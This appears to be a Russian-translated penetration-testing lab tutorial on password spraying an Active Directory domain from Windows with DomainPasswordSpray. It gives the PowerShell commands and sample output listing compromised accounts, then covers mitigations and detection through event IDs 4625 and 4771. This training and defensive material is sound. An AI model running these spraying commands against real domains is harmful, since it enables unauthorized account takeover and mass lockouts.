Ввод внутреннего пароля - из Windows


Инструмент DomainPasswordSpray, установленный на хостинге Windows, подключенном к домену, является высокоэффективным. Если мы аутентифицируемся в домене, инструмент автоматически сгенерирует список пользователей из Active Directory, запросит политику паролей домена и исключит учетные записи пользователей в течение одной попытки блокировки. Подобно тому, как мы запускали spraying attack с нашего хоста Linux, мы также можем предоставить инструменту список пользователей, если мы находимся на хосте Windows, но не прошли аутентификацию в домене. Мы можем столкнуться с ситуацией, когда клиент хочет, чтобы мы выполнили тестирование с управляемого устройства Windows в его сети, на которое мы можем загрузить инструменты. Мы можем физически находиться на месте в их офисах и хотеть протестировать с виртуальной машины Windows, или мы можем закрепиться на начальном этапе с помощью какой-либо другой атаки, пройти аутентификацию на хосте в домене и выполнить ввод пароля в попытке получить учетные данные для учетной записи, которая имеет больше прав в домене.

С помощью этого инструмента нам доступно несколько вариантов. Поскольку хост подключен к домену, мы пропустим флаг -UserList и позволим инструменту сгенерировать для нас список. Мы введем Password флаг и один-единственный пароль, а затем используем -OutFile флаг для записи наших выходных данных в файл для последующего использования.

Используя DomainPasswordSpray.ps1

PS C:\\htb> Import-Module .\\DomainPasswordSpray.ps1
PS C:\\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue

[*] Current domain is compatible with Fine-Grained Password Policy.
[*] Now creating a list of users to spray...
[*] The smallest lockout threshold discovered in the domain is 5 login attempts.
[*] Removing disabled users from list.
[*] There are 2923 total users found.
[*] Removing users within 1 attempt of locking out from list.
[*] Created a userlist containing 2923 users gathered from the current user's domain
[*] The domain password policy observation window is set to  minutes.
[*] Setting a  minute wait in between sprays.

Confirm Password Spray
Are you sure you want to perform a password spray against 2923 accounts?
[Y] Yes  [N] No  [?] Help (default is "Y"): Y

[*] Password spraying has begun with  1  passwords
[*] This might take a while depending on the total number of users
[*] Now trying password Welcome1 against 2923 users. Current time is 2:57 PM
[*] Writing successes to spray_success
[*] SUCCESS! User:sgage Password:Welcome1
[*] SUCCESS! User:tjohnson Password:Welcome1

[*] Password spraying is complete
[*] Any passwords that were successfully sprayed have been output to spray_success

Мы также могли бы использовать Kerbrute для выполнения тех же действий по перечислению пользователей и распылению, что показаны в предыдущем разделе. Инструмент присутствует в C:\\Tools каталоге, если вы хотите поработать с теми же примерами на предоставленном хостинге Windows.


Меры по смягчению последствий

Для снижения риска атак с использованием паролей можно предпринять несколько шагов. Хотя ни одно решение не предотвратит атаку полностью, комплексный подход к защите сделает атаки с использованием паролей чрезвычайно трудными.

Техника Описание
Multi-factor Authentication Многофакторная аутентификация может значительно снизить риск атак с использованием паролей. Существует множество типов многофакторной аутентификации, таких как push-уведомления на мобильное устройство, сменяемый одноразовый пароль (OTP), такой как Google Authenticator, ключ RSA или подтверждения текстовыми сообщениями. Хотя это может помешать злоумышленнику получить доступ к учетной записи, некоторые многофакторные реализации по-прежнему раскрывают, действительна ли комбинация имени пользователя и пароля. Возможно, эти учетные данные можно будет повторно использовать в других открытых сервисах или приложениях. Важно внедрять многофакторные решения со всеми внешними порталами.
Restricting Access Часто бывает возможно войти в приложения с любой учетной записью пользователя домена, даже если пользователю не нужен доступ к ней в рамках своей роли. В соответствии с принципом наименьших привилегий, доступ к приложению должен быть ограничен теми, кому это необходимо.
Reducing Impact of Successful Exploitation Быстрый выигрыш заключается в обеспечении того, чтобы привилегированные пользователи имели отдельную учетную запись для любых административных действий. По возможности также следует установить уровни разрешений для конкретных приложений. Сегментация сети также рекомендуется, поскольку, если злоумышленник изолирован от скомпрометированной подсети, это может замедлить или полностью остановить боковое перемещение и дальнейший компромисс.
Password Hygiene Обучение пользователей выбору трудно угадываемых паролей, таких как парольные фразы, может значительно снизить эффективность атаки с использованием паролей. Кроме того, использование фильтра паролей для ограничения употребляемых словарных слов, названий месяцев и сезонов, а также вариаций названия компании затруднит злоумышленнику выбор действительного пароля для попыток распыления.

Другие соображения

Важно убедиться, что политика блокировки вашего домена паролем не увеличивает риск атак типа "отказ в обслуживании". Если он носит очень строгий характер и требует административного вмешательства для разблокировки учетных записей вручную, небрежный ввод пароля может привести к блокировке многих учетных записей в течение короткого периода времени.


Обнаружение

Некоторые индикаторы внешних атак с использованием паролей включают многочисленные блокировки учетных записей за короткий период, журналы сервера или приложений, показывающие множество попыток входа в систему с действительными или несуществующими пользователями, или множество запросов за короткий период к определенному приложению или URL.

В журнале безопасности контроллера домена множество экземпляров события с идентификатором 4625: учетной записи не удалось войти в систему в течение короткого периода времени может указывать на атаку с использованием пароля. В организациях должны быть правила, позволяющие сопоставлять множество сбоев при входе в систему в течение установленного интервала времени для запуска предупреждения. Более опытный злоумышленник может избежать распыления паролей SMB и вместо этого нацелиться на LDAP. Организациям также следует отслеживать идентификатор события 4771: сбой предварительной аутентификации Kerberos, что может указывать на попытку ввода пароля LDAP. Для этого им необходимо включить ведение журнала Kerberos. В этом посте подробно описывается исследование по обнаружению взлома пароля с помощью ведения журнала событий безопасности Windows.

Благодаря точной настройке этих средств защиты и включенному ведению журнала организация будет иметь хорошие возможности для обнаружения внутренних и внешних атак с использованием паролей и защиты от них.